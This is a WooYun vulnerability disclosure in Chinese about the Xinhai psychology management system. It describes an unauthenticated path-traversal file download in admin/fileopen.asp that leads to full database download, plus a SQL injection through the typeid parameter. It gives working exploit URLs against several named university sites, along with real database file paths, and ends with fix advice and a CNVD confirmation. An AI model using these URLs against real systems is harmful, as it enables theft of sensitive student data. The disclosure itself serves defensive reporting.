当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060864

漏洞标题:某通用型管理系统任意文件下载到拖库到SQL注入挖掘

相关厂商:cncert国家互联网应急中心

漏洞作者: xfkxfk

提交时间:2014-05-16 14:10

修复时间:2014-08-14 14:12

公开时间:2014-08-14 14:12

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-16: 细节已通知厂商并且等待厂商处理中
2014-05-21: 厂商已经确认,细节仅向厂商公开
2014-05-24: 细节向第三方安全合作伙伴开放
2014-07-15: 细节向核心白帽子及相关领域专家公开
2014-07-25: 细节向普通白帽子公开
2014-08-04: 细节向实习白帽子公开
2014-08-14: 细节向公众公开

简要描述:

某通用型管理系统任意文件下载漏洞

详细说明:

北京心海导航科技有限公司:http://www.xinhaisoft.com/
心海心理管理系统——中国心理测量第一品牌
客户列表:http://www.xinhaisoft.com/CustomerList.aspx
大部分都是学校用户和教委用户,还是很多的
Google关键字:技术支持:http://www.xinhaisoft.com

0.png


任意文件下载漏洞:
admin文件夹下的程序文件fileopen.asp文件,未对身份权限验证和传递的参数过滤导致任意下载漏洞。

EXP:
http://www.xxx.com/xxx/admin/fileopen.asp?filename=../index.asp
http://www.xxx.com/admin/fileopen.asp?filename=../index.asp


下载代码后分析:

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%Option Explicit%>
<%
Dim Filename, s, fs, fl, Filesize
'取得文件名参数
Filename = Trim(Request.Form("filename"))
If Filename = "" Then Filename = Trim(Request.QueryString("filename"))
If Filename = "" Then Call ShowMessage("对不起,文件名为空!")
'转为绝对路径
If Mid(Filename, 2, 2) = ":\" Then Filename = Replace(Filename, "/", "\") Else Filename = Server.MapPath(Filename)
'检查文件是否存在
Set fs = Server.CreateObject("Scripting.FileSystemObject")
If Not fs.FileExists(Filename) Then Call ShowMessage("对不起,指定文件不存在!")
'取得文件大小
Set fl = fs.GetFile(Filename)
Filesize = fl.Size
'销毁FSO对象
Set fl = Nothing
Set fs = Nothing
'清理缓存
Response.Buffer = True
Response.Clear
'创建Stream对象
Set s = Server.CreateObject("ADODB.Stream")
s.Open
'设置为二进制方式
s.Type = 1
'容错
On Error Resume Next
'装载文件
s.LoadFromFile (Filename)
If Err Then Call ShowMessage("装载指定文件出现未知错误!")
'向浏览器输出头部
Response.AddHeader "Content-Disposition", "attachment; filename=" & Mid(Filename, InStrRev(Filename, "\") + 1)
Response.AddHeader "Content-Length", Filesize
'Response.CharSet="UTF-8"
Response.ContentType = "application/octet-stream"
'向浏览器输出文件
Response.BinaryWrite s.Read
Response.Flush
'销毁对象
s.Close: Set s = Nothing
'在本页输出提示信息
Sub ShowMessage(msg)
Response.Write "<br><div align='center'><div style='color:red; font-weight:bold; text-align:center; border:1px solid #CCCCCC; background-color:#E8E8E8; padding:4px 2px 2px; width:300px; font-size:12px'>" & msg & "</div></div><br>"
Response.End
End Sub
%>


Filename = Trim(Request.Form("filename"))
直接传入到下载的文件路径中,位置任何处理,导致漏洞产生。
数据库下载:
下载此系统的view.asp或者list.asp文件:
http://www.xxx.com/xxx/admin/fileopen.asp?filename=../article/list.asp
http://www.xxx.com/admin/fileopen.asp?filename=../article/list.asp

<%@LANGUAGE="VBSCRIPT" CODEPAGE="936"%>
<%Option Explicit%>
<!--#include file="../inc/conn.asp" -->
<!--#include file="../inc/Function.asp" -->
<!--#include file="../inc/SplitPage.inc" -->
<%
dim typeid,typename,i,word
typeid=Request.QueryString("typeid")
word=CheckStr(Request.QueryString("word"))
%>
......


在下载inc/conn.asp文件
http://www.xxx.com/xxx/admin/fileopen.asp?filename=../inc/conn.asp
http://www.xxx.com/admin/fileopen.asp?filename=../inc/conn.asp

<!--#include file="SETTINGS.ASP" -->
<%
dim con,rs,sql
On Error Resume Next
set con=Server.CreateObject("XINHAI.Database")
if err then response.redirect "error.asp?errstr=" & Server.urlencode("您可能尚未安装或者安装没有完成,请点击这里进行[<a href='setup.htm'>安装</a>]。")
On Error Goto 0
con.Path=pasdbpath
con.OpenDatabase
Sub conBatchExecute(str)
con.execute(str)
End Sub
Function getFenyeRs(str)
set getFenyeRs=con.execute(str,2)
End Function
%>


在下载SETTINGS.ASP文件:
http://www.xxx.com/xxx/admin/fileopen.asp?filename=../inc/SETTINGS.ASP
http://www.xxx.com/admin/fileopen.asp?filename=../inc/SETTINGS.ASP

<%
'==== 设置数据库文件所在的路径 ====
Const pasdbpath="D:\网站\xinhai\db\356ghbhhi92sxvgjn9.asp"
%>


至此找到了数据库文件,可以直接下载数据库文件了:
http://www.xxx.com/admin/fileopen.asp?filename=../db/356ghbhhi92sxvgjn9.asp
综上,我们只要直接下载SETTINGS.ASP文件即可,即可知道数据库的文件信息了。
SQL注入漏洞:
我们下载sixiangEdu.asp

<div class="subright">
<%
typeid=request.QueryString("typeid")
If typeid="" Then typeid=12
%>
<!--#include file="newslist.asp"-->
</div>


再继续下载newslist.asp

<div class="newslist">
<%
'============================================
'头部信息
'============================================
if typeid="" Then
response.Redirect "error2.html"
End If
sqlstr="Select typeName From Types Where typeid="&typeid
set rs=dbconn.Execute(sqlstr)
headname=rs("typeName")
rs.close
Set rs=nothing
%>
......
<div style="width:540px; border:0px solid #000;">
<table border="0" cellspacing="0" cellpadding="0" width="540">
<%
sqlstr="select * from News where checkked=1 And typeid="&typeid&" order by NewsId desc"
'response.Write sqlstr
set rs=Server.CreateObject("ADODB.RecordSet")
rs.open sqlstr,dbconn,1,1
If rs.EOF Then
%>
<tr><td colspan="3">没有记录</td></tr>


看到了typeid没有过滤直接进入SQL语句,导致注入了。

漏洞证明:

任意文件下载:
以湖南工学院为例:http://www2.hnit.edu.cn/xinhai/
下载SETTINGS.ASP文件:
http://www2.hnit.edu.cn/xinhai/admin/fileopen.asp?filename=../inc/SETTINGS.ASP

1.png


数据库下载:
以湖南工学院为例:http://www2.hnit.edu.cn/xinhai/
http://www2.hnit.edu.cn/xinhai/admin/fileopen.asp?filename=../db/356ghbhhi92sxvgjn9.asp

2.png


500MB数据库有木有
还有吉林工商学院的:
http://xinli.jlbtc.edu.cn/admin/fileopen.asp?filename=../db/dlHU8VlZ1Xj46doBk2Aq1.asp
SQL注入:
以安徽大学为例:http://www.xsc.ahu.edu.cn/
下载文件:
http://www.xsc.ahu.edu.cn/xlzx/admin/fileopen.asp?filename=../../newslist.asp
注入点:
http://www.xsc.ahu.edu.cn/sixiangEdu.asp?typeid=12

3.png


安徽大学的数据库:
D:\webroot\xsc\xlzx\db\pas.asp"

修复方案:

1、控制后台文件权限
2、处理下载的文件类型
3、过滤用户输入

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:14

确认时间:2014-05-21 08:55

厂商回复:

CNVD确认并复现所述多个实例情况(验证过程由上海交通大学网络信息中心协助完成),已经将通报转报给教育网应急组织赛尔网络公司,并抄报CCERT。同时CNVD已经将通报转报给北京心海导航科技有限公司,QQ邮件:。

最新状态:

暂无